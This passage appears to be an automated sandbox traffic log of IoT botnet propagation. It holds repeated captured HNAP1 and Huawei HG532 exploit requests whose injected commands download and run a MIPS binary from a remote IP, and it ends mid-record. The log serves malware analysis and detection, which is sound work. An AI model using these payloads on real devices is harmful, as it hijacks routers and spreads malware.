45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /HNAP1/ HTTP/1.0Content-Type: text/xml; charset="utf-8"SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://15.235.203.214/bolonetwork.mips && chmod +x bolonetwork.mips;./bolonetwork.mips selfrep.hnap`Content-Length: 640Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 3c 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 73 6f 61 70 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 3e 3c 73 6f 61 70 3a 42 6f 64 79 3e 3c 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 70 75 72 65 6e 65 74 77 6f 72 6b 73 2e 63 6f 6d 2f 48 4e 41 50 31 2f 22 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 66 6f 6f 62 61 72 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 31 39 32 2e 31 36 38 2e 30 2e 31 30 30 3c 2f 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 50 6f 72 74 4d 61 70 70 69 6e 67 50 72 6f 74 6f 63 6f 6c 3e 3c 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 31 32 33 34 3c 2f 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 2f 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 6f 61 70 3a 42 6f 64 79 3e 3c 2f 73 6f 61 70 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 